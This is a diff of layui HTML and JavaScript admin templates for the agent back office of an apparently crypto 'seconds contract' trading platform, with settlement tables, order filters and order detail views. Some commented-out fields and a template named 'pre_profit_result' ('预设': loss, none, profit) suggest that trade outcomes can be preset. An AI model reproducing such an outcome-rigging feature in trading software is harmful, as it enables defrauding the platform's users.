||||
|
||||
<i class="layui-icon layui-icon-ok"style="font-size: 16px; color: red;">已平仓</i>
|
||||
{{# } }}
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'useradmin', 'table' , 'layer'], function(){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
,method : 'post'
|
||||
,url: '/agent/jie/list'
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
,{field: 'user_name', title: '下级用户名', minWidth: 150}
|
||||
,{field: 'agent_level', title: '下级用户等级', width: 150}
|
||||
,{field: 'type', title: '结算类型', width: 90, templet: '#lockTpl'}
|
||||
,{field: 'before', title: '初始账户金额',sort: true, width: 170,style:"color: #fff;background-color: #01AAED;"}
|
||||
,{field: 'change', title: '贡献收益', sort: true, width: 170,style:"color: #fff;background-color: #FF5722;"}
|
||||
,{field: 'after', title: '最终账户金额', sort: true, width: 170,style:"color: #fff;background-color: #01AAED;"}
|
||||
,{field: 'memo', title: '变动备注', width: 200}
|
||||
,{title: '操作', width: 120, align:'center', fixed: 'right', toolbar: '#table-useradmin-webuser'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 30
|
||||
,height: 'full-320'
|
||||
,text: '对不起,加载出现异常!'
|
||||
,headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
|
||||
if (res.code === 1){
|
||||
layer.msg(res.msg ,{icon : 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-manage)', function(obj) {
|
||||
var data = obj.data;
|
||||
if (obj.event === 'info') {
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : 'agent/order/info',
|
||||
dataType : "json",
|
||||
data : {order_id : data.relate_id},
|
||||
done : function(returnData) { //返回数据根据结果进行相应的处理
|
||||
if (returnData.code == 0){
|
||||
admin.popup({
|
||||
title: '订单详情'
|
||||
, area: ['90%', '90%']
|
||||
, id: 'LAY-popup-user-add'
|
||||
, success: function () {
|
||||
admin.req({
|
||||
type: "POST",
|
||||
url: 'agent/order/info',
|
||||
dataType: "json",
|
||||
data: {order_id: data.relate_id},
|
||||
done: function (returnData) { //返回数据根据结果进行相应的处理
|
||||
view('LAY-popup-user-add').render('order/order/info', returnData.data.info).done(function () {
|
||||
form.render(null, 'layuiadmin-order-info'); //渲染表单
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
@@ -0,0 +1,328 @@
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>订单</cite></a>
|
||||
<a><cite>秒合约</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="agentusername" placeholder="请输入上级代理商" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始日期:</label>
|
||||
<div class="layui-input-block" style="width:170px;">
|
||||
<input type="text" class="layui-input" id="start_time" value="" name="start_time">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束日期:</label>
|
||||
<div class="layui-input-block" style="width:170px;">
|
||||
<input type="text" class="layui-input" id="end_time" value="" name="end_time">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">交易状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="-1">不限</option>
|
||||
|
||||
<option value="1">交易中</option>
|
||||
<option value="2">平仓中</option>
|
||||
<option value="3">已平仓</option>
|
||||
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">买卖类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="type">
|
||||
<option value="-1">不限</option>
|
||||
<option value="1">买涨</option>
|
||||
<option value="2">买跌</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">预设</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="pre_profit_result" id="pre_profit_result" class="layui-input">
|
||||
<option value="-2">所有</option>
|
||||
<option value="-1">亏</option>
|
||||
<option value="0">无</option>
|
||||
<option value="1">盈</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>-->
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">结果</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="profit_result" id="profit_result" class="layui-input">
|
||||
<option value="-2">所有</option>
|
||||
<option value="-1">亏</option>
|
||||
<option value="0">无</option>
|
||||
<option value="1">盈</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">支付货币</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="currency_id" id="currency_id" class="">
|
||||
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 10px;">
|
||||
<label class="layui-form-label">交易对</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="match_id" id="currency_match" class="">
|
||||
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- <div class="layui-card-body">
|
||||
<div class="layui-carousel layadmin-backlog" style="background-color: #fff">
|
||||
<ul class="layui-row layui-col-space10 layui-this">
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>盈亏统计:</h3>
|
||||
<p><cite style="color:#fff" id="total_fact_profits">0.0000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('手续费统计', this, {tips: 3});" class="layadmin-backlog-body"
|
||||
style="color: #fff;background-color: #01AAED;">
|
||||
<h3>手续费统计:</h3>
|
||||
<p><cite style="color:#fff" id="total_fee">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>-->
|
||||
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<!-- <a class="layui-btn layui-btn-normal layui-btn-xs" lay-event=""><i class="layui-icon layui-icon-edit"></i>查看详情</a> -->
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="status_name">
|
||||
<span class="layui-badge @{{d.status == 1 ? '' : 'layui-bg-gray'}}">{{d.status_name}}</span>
|
||||
</script>
|
||||
|
||||
<script type="text/html" id="symbol_name">
|
||||
<span>{{d.symbol_name}}</span><span style="color: #848484dd; font-size: 10px;" title="收益率:{{d.profit_ratio}}%">-{{d.seconds}}S</span>
|
||||
</script>
|
||||
<script type="text/html" id="type_name">
|
||||
{{# if (d.type == 1) { }}
|
||||
<div class="order_type order_type_rise" style="color:#1aab65;">
|
||||
<span style="font-size: 13px; font-weight: bold;">{{d.type_name}}</span><span style="font-size: 18px; font-weight: bold;">↑</span>
|
||||
</div>
|
||||
{{# } else { }}
|
||||
<div class="order_type order_type_fall" style="color:#de1919;">
|
||||
<span style="font-size: 13px; font-weight: bold;">{{d.type_name}}</span><span style="font-size: 18px; font-weight: bold;">↓</span>
|
||||
</div>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="pre_profit_result_name">
|
||||
{{# if (d.pre_profit_result == 1) { }}
|
||||
<span style="color:#89deb3;">{{d.pre_profit_result_name}}</span>
|
||||
{{# } else if (d.pre_profit_result == -1) { }}
|
||||
<span style="color:#d67a7a;">{{d.pre_profit_result_name}}</span>
|
||||
{{# } else { }}
|
||||
<span class="layui-badge-rim">{{d.pre_profit_result_name}}</span>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="profit_result_name">
|
||||
<span class="layui-badge @{{d.profit_result == 1 ? 'layui-bg-green' : ''}}">{{d.profit_result_name}}</span>
|
||||
</script>
|
||||
<script type="text/html" id="fact_profits">
|
||||
<div style="text-align: right; margin-right: 10px;">
|
||||
{{# if (d.profit_result == 1) { }}
|
||||
<span style="color: #f00; font-weight: bolder;">{{Number(d.fact_profits).toFixed(2)}}</span>
|
||||
{{# } else { }}
|
||||
<span>{{Number(d.fact_profits).toFixed(2)}}</span>
|
||||
{{# } }}
|
||||
</div>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
|
||||
layui.use(['admin', 'useradmin', 'table', 'layer', 'laydate', 'form'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, view = layui.view
|
||||
, table = layui.table
|
||||
, laydate = layui.laydate
|
||||
, form = layui.form;
|
||||
|
||||
|
||||
laydate.render({
|
||||
elem: '#start_time',
|
||||
type: 'datetime'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#end_time',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
admin.req({
|
||||
type: "get",
|
||||
url: '/agent/micro/currency_show',
|
||||
dataType: "json",
|
||||
data: {},
|
||||
done: function (result) { //返回数据根据结果进行相应的处理
|
||||
//console.log(result);
|
||||
var data1 = result.data.currencies;
|
||||
var data2 = result.data.currency_matches;
|
||||
|
||||
var html1 = '<option value="-1">所有</option>';
|
||||
var html2 = '<option value="-1">所有</option>';
|
||||
|
||||
for (var i in data1) {
|
||||
//console.log(data1[i]);
|
||||
html1 += `<option value="${data1[i].id}">${data1[i].name}</option>`
|
||||
}
|
||||
|
||||
for (var i in data2) {
|
||||
//console.log(data1[i]);
|
||||
html2 += `<option value="${data2[i].id}">${data2[i].currency_name}/${data2[i].legal_name}</option>`
|
||||
}
|
||||
$('#currency_id').html(html1);
|
||||
$('#currency_match').html(html2);
|
||||
|
||||
layui.use('form', function () { var form = layui.form; form.render("select"); })
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
//秒合约订单管理
|
||||
var data_table = table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
, method: 'post'
|
||||
, url: '/agent/micro/list'
|
||||
, cols: [[
|
||||
{ field: '', type: 'checkbox', width: 60 }
|
||||
, { field: '', title: '序号', type: "numbers", width: 90 }
|
||||
, { field: 'id', title: 'ID', width: 100 }
|
||||
, { field: 'account', title: '用户账号', width: 130, sort: true, totalRowText: '小计' }
|
||||
, { field: 'real_name', title: '真实姓名', width: 100 }
|
||||
, { field: 'symbol_name', title: '合约', width: 140, sort: true, templet: '#symbol_name' }
|
||||
, { field: 'currency_name', title: '币种', width: 80, sort: true }
|
||||
, { field: 'type_name', title: '类型', width: 80, templet: '#type_name', sort: true }
|
||||
, { field: 'seconds', title: '秒数', width: 80, templet: '#seconds', sort: true, hide: true }
|
||||
, { field: 'status_name', title: '交易状态', width: 100, sort: true, templet: '#status_name' }
|
||||
, { field: 'number', title: '数量', width: 90, templet: '<div><div style="text-align: right;">{{Number.parseInt(d.number)}}</div></div>', totalRow: true }
|
||||
, { field: 'fee', title: '手续费', width: 100, totalRow: true, templet: '<div><div style="text-align: right;"><span>{{Number(d.fee).toFixed(2)}}</span></div></div>' }
|
||||
// , { field: 'pre_profit_result_name', title: '预设', width: 90, sort: true, templet: '#pre_profit_result_name', hide: false }
|
||||
, { field: 'profit_result_name', title: '结果', width: 90, sort: true, templet: '#profit_result_name', hide: false }
|
||||
, { field: 'fact_profits', title: '盈利', width: 100, sort: true, totalRow: true, templet: '#fact_profits' }
|
||||
, { field: 'open_price', title: '开仓价', width: 100, templet: '<div><div style="text-align: right;"><span>{{Number(d.open_price).toFixed(4)}}</span></div></div>' }
|
||||
, { field: 'end_price', title: '平仓价', width: 100, templet: '<div><div style="text-align: right;"><span>{{Number(d.end_price).toFixed(4)}}</span></div></div>' }
|
||||
, { field: 'created_at', title: '下单时间', width: 170, sort: true }
|
||||
, { field: 'updated_at', title: '更新日期', width: 170, sort: true, hide: true }
|
||||
, { field: 'handled_at', title: '平仓时间', width: 170, sort: true, hide: true }
|
||||
, { field: 'complete_at', title: '完成时间', width: 170, sort: true, hide: true }
|
||||
//,{fixed: 'right', title: '操作', width: 100, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
, page: true
|
||||
, limit: 20
|
||||
, limits: [20, 50, 100, 500, 1000]
|
||||
, toolbar: true
|
||||
, height: 'full-320'
|
||||
, totalRow: true
|
||||
, text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, done: function (res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0) {
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
var total = res.extra_data.total;
|
||||
$('#total_fee').text(total.total_fee);
|
||||
$('#total_fact_profits').text(total.total_fact_profits);
|
||||
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//定时刷新
|
||||
// setInterval(function(){
|
||||
// data_table.reload();
|
||||
// },100000)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function (data) {
|
||||
var a = layui.data('layuiAdmin').access_token;
|
||||
data.field.access_token = a;
|
||||
|
||||
var option = {
|
||||
where: data.field,
|
||||
page: { curr: 1 }
|
||||
}
|
||||
data_table.reload(option);
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
});
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,263 @@
|
||||
|
||||
<div>
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<div class="layui-col-sm12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">订单编号 :20181209989979HGIF84354</div>
|
||||
<div class="layui-card-header">订单状态 :<span class="layui-badge">交易中</span></div>
|
||||
<div class="layui-card-header">最新进度 :<span class="layui-badge-rim">2018-12-09 12:36:09</span><span class="layui-badge layui-bg-blue">平仓</span></div>
|
||||
<br>
|
||||
<br>
|
||||
<!--<div class="layui-card-body">-->
|
||||
<!--<div class="layui-progress layui-progress-big">-->
|
||||
<!--<div class="layui-progress-bar" lay-percent="1/6"><span class="layui-progress-text">2 / 6</span></div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<!--<div class="layui-row">-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon layui-icon-face-smile" style="font-size: 20px; color: #009688;"></i> <span class="layui-badge layui-bg-green">订单创建成功</span></h3>-->
|
||||
<!--<span>4月28日 00:00</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon layui-icon-loading" style="font-size: 20px; color: #ff3331;"></i> <span class="layui-badge">交易中</span></h3>-->
|
||||
<!--<span>4月28日 00:00</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon" style="font-size: 20px; color: #ff3331;"></i> <span class="layui-badge-rim">平仓中</span></h3>-->
|
||||
<!--<span>-/-</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon" style="font-size: 20px; color: #ff3331;"></i> <span class="layui-badge-rim">已平仓</span></h3>-->
|
||||
<!--<span>-/-</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon" style="font-size: 20px; color: #ff3331;"></i> <span class="layui-badge-rim">未结算</span></h3>-->
|
||||
<!--<span>-/-</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-col-sm2" style="text-align: center">-->
|
||||
<!--<h3><i class="layui-icon" style="font-size: 20px; color: #ff3331;"></i> <span class="layui-badge-rim">已结算</span></h3>-->
|
||||
<!--<span>-/-</span>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<!--</div>-->
|
||||
<br>
|
||||
<br>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="layui-col-sm12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body" >
|
||||
<div class="layui-row">
|
||||
<div class="layui-col-sm4">
|
||||
<div class="layui-card-header">交易信息</div>
|
||||
<ul class="layui-timeline">
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
买卖类型 : {{ d.params.type }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
用户 : {{ d.params.user_id }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
交易货币 : {{ d.params.currency }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
法币货币 : {{ d.params.legal }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
手数 : {{ d.params.share }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
倍数 : {{ d.params.multiple }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="layui-col-sm4">
|
||||
<div class="layui-card-header">资金信息</div>
|
||||
<ul class="layui-timeline">
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
初始保证金 : {{ d.params.origin_caution_money }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
当前可用保证金 : {{ d.params.caution_money }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
最终盈亏 : {{ d.params.fact_profits }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
交易手续费 : {{ d.params.trade_fee }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
隔夜费率 : {{ d.params.overnight }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="layui-col-sm4">
|
||||
<div class="layui-card-header">状态及时间</div>
|
||||
<ul class="layui-timeline">
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
交易状态 : {{ d.params.status }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
结算状态 : {{ d.params.settled }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
创建时间 : {{ d.params.create_time }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
价格刷新时间 : {{ d.params.update_time }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
平仓时间 : {{ d.params.handle_time }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
|
||||
<script type="text/html" template>
|
||||
<li class="layui-timeline-item">
|
||||
<i class="layui-icon layui-timeline-axis"></i>
|
||||
<div class="layui-timeline-content layui-text">
|
||||
<div class="layui-timeline-title">
|
||||
完成时间 : {{ d.params.complete_time }}
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
</script>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
layui.use('sample', layui.factory('sample'));
|
||||
</script>
|
||||
@@ -0,0 +1,515 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="username" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="agentusername" placeholder="请输入上级代理商" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">开始日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="start" id="datestart" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">结束日期</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="end" id="dateend" placeholder="yyyy-MM-dd" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">订单状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="10">不限</option>
|
||||
<option value="0">挂单中</option>
|
||||
<option value="1">交易中</option>
|
||||
<option value="2">平仓中</option>
|
||||
<option value="3">已平仓</option>
|
||||
<option value="4">已撤单</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">交易类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="type">
|
||||
<option value="0">不限</option>
|
||||
<option value="1">买入</option>
|
||||
<option value="2">卖出</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<button class="layui-btn layui-btn-normal dao" lay-event="excel">导出表格</button>
|
||||
<!--<button class="layui-btn layui-btn-normal dao" lay-event="excel" onclick="javascrtpt:window.location.href='{{url('/admin/agent/order/order_excel')}}'">导出表格</button>-->
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-carousel layadmin-backlog" style="background-color: #fff">
|
||||
<ul class="layui-row layui-col-space10 layui-this">
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('团队总收益 = 头寸收益 + 手续费收益', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>盈亏统计:</h3>
|
||||
<p><cite style="color:#fff" id="all">0.0000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('头寸统计', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;">
|
||||
<h3>头寸统计:</h3>
|
||||
<p><cite style="color:#fff" id="toucun">0.00000000</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
